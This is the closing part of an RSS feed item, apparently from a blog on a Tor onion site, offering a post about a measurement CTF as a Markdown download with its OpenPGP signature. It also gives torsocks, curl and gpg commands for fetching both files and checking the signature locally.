<p><strong>Downloads:</strong>
<a href="/sources/posts/g00_tuw_measurement_ctf.md">Markdown</a> ·
<a href="/sources/posts/g00_tuw_measurement_ctf.md.asc">Signature (.asc)</a>
</p><details class="signature">
<summary>View OpenPGP signature</summary>
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
jSr&#43;7xAAjpbfTK8k&#43;GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy&#43;fTISF9Q&#43;hRfMX
91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v&#43;drZ2YVGk9mKW4FBfzbb1
iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
35YFa3A1GMUiKAHcemIqJnDZuIInQa&#43;OuPIDPGQva93I20eIn40nIVDLDsY15X&#43;R
FyxKVBAwO94We2g&#43;lxhey&#43;xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
oLsZXNoKbyZ2eXYF0f54it9JdDo&#43;obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV&#43;
zNn5DrhIk5f4FMjJGUnO1QH&#43;e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b&#43;
//J/Fdzi1YbKFyQlk9zfUUL&#43;1vMoSbkORd7S3JYkibTns&#43;uD9LxW27WIEcvYRw0K
MlzdYdPXNCJZUDswt7HZCgQv66zF9&#43;pLkQ/8rl&#43;RVOMW9GqJmE6O0uh4xmPDE8vS
YK3/9gFIcXVMy7WsIwEx&#43;xWQqcm815OZSIrw4kvt1&#43;seZ8lUURmoAWRDEFrFUTCG
zB6tKRPKoID643AdO&#43;Cb&#43;GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
=BDGe
-----END PGP SIGNATURE-----
</pre>
</details><p><em>Verify locally:</em></p>
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
</pre>
</div>
]]></content:encoded>
</item>
</channel>
</rss>